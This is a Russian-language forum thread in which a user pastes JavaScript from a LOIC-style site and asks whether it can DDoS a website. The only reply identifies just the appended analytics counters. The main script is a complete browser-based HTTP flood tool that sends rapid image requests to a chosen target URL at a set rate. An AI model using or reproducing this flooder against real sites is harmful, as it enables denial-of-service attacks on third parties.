X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> Что выполняет этот код?
Vampire_hb
Vampire_hb
Topic Starter сообщение 25.2.2012, 0:11; Ответить: Vampire_hb
Сообщение #1


Что выполняет это код?
[JS]<script>

(function () {



var fireInterval;

var isFiring = false;



var requestedCtrNode = document.getElementById("requestedCtr"),

succeededCtrNode = document.getElementById("succeededCtr"),

failedCtrNode = document.getElementById("failedCtr"),

targetURLNode = document.getElementById("targetURL"),

fireButton = document.getElementById("fireButton"),

messageNode = document.getElementById("message"),

rpsNode = document.getElementById("rps"),

timeoutNode = document.getElementById("timeout");



var targetURL = targetURLNode.value;

targetURLNode.onchange = function () {

targetURL = this.value;

};



var requestsHT = {}; // requests hash table, may come in handy later



var requestedCtr = 0,

succeededCtr = 0,

failedCtr = 0;



var makeHttpRequest = function () {

var rID = Math.random() * 1e9 | 0; // request id // TODO: simply use a timestamp? yup, much better idea

var img = new Image();

img.onerror = function () { onFail(rID); };

img.onabort = function () { onFail(rID); };

img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods

img.setAttribute("src", targetURL + "?" + rID + "=" + messageNode.value);

requestsHT[rID] = img;

onRequest(rID);

};



var onRequest = function (rID) {

requestedCtr++;

requestedCtrNode.innerHTML = requestedCtr;

};



var onComplete = function (rID) {

delete requestsHT[rID];

};



var onFail = function (rID) {

failedCtr++;

failedCtrNode.innerHTML = failedCtr;

delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser

};



var onSuccess = function (rID) {

succeededCtr++;

succeededCtrNode.innerHTML = succeededCtr;

delete requestsHT[rID];

};



fireButton.onclick = function () {

if (isFiring) {

clearInterval(fireInterval);



isFiring = false;

this.innerHTML = "ПЕРЕЗАРЯДКА!";

} else {

isFiring = true;

this.innerHTML = "ПРЕКРАТИТЬ ОГОНЬ!";



fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));

}

};



})();

</script>



<center><!--LiveInternet counter--><script type="text/javascript"><!--

document.write("<a href='http://www.liveinternet.ru/click' "+

"target=_blank><img src='//counter.yadro.ru/hit?t26.6;r"+

escape(document.referrer)+((typeof(screen)=="undefined")?"":

";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?

screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+

";"+Math.random()+

"' alt='' title='LiveInternet: показано число посетителей за"+

" сегодня' "+

"border='0' width='88' height='15'><\/a>")

//--></script><!--/LiveInternet--><center>



<script type="text/javascript">



var _gaq = _gaq || [];

_gaq.push(['_setAccount', 'UA-23743223-1']);

_gaq.push(['_setDomainName', 'anonymvs.com']);

_gaq.push(['_setAllowHash', 'false']);

_gaq.push(['_trackPageview']);



(function() {

var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;

ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';

var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);

})();



</script>
[/JS]
Правда, что он способен на ДДос сайта?
Взял с этого сайта:
http://loic.anonymvs.com/
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Оксана Мязина
Оксана Мязина
сообщение 26.2.2012, 3:04; Ответить: Оксана Мязина
Сообщение #2


(Vampire_hb @ 25.2.2012, 03:11) *
<center><!--LiveInternet counter--><script type="text/javascript"><!--
*
document.write("<a href='http://www.liveinternet.ru/click' "+
*
"target=_blank><img src='//counter.yadro.ru/hit?t26.6;r"+
*
escape(document.referrer)+((typeof(screen)=="undefined")?"":
*
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
*
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
*
";"+Math.random()+
*
"' alt='' title='LiveInternet: показано число посетителей за"+
*
" сегодня' "+
*
"border='0' width='88' height='15'><\/a>")
*
//--></script><!--/LiveInternet--><center>
*
*
*
<script type="text/javascript">
*
*
*
**var _gaq = _gaq || [];
*
**_gaq.push(['_setAccount', 'UA-23743223-1']);
*
**_gaq.push(['_setDomainName', 'anonymvs.com']);
*
**_gaq.push(['_setAllowHash', 'false']);
*
**_gaq.push(['_trackPageview']);
*
*
*
**(function() {
*
****var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
*
****ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
*
****var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
*
**})();
*
*
*
</script>

это счетчики :rolleyes:

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Во что сегодня инвестировать?
Делимся своими приносящими прибыль вариантами
70 traveliver 4666 Сегодня, 17:02
автор: WhiteX
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыВо что Вы играете?
399 Vmir 67804 23.3.2024, 12:51
автор: Alexand3r
Открытая тема (нет новых ответов) "Извините, что ожидание затянулось, но не думайте, пожалуйста, что мы про вас забыли. Мы заводим задачи по всем обращениям и контролируем работу над ними самым тщательным образом."
Вопрос
0 kuz999 1242 5.2.2024, 14:06
автор: kuz999
Горячая тема (нет новых ответов) Что приведет к краху всего рынка криптовалют
стейблкоины, прогноз
43 GlazAlmaz 5916 13.1.2024, 17:30
автор: Antarez
Открытая тема (нет новых ответов) Finkort - Финансовая партнерская сеть. Мы знаем, что вам нужно.
2 Finkort 1611 28.9.2023, 16:04
автор: Finkort


 



RSS Текстовая версия Сейчас: 16.4.2024, 17:02
Дизайн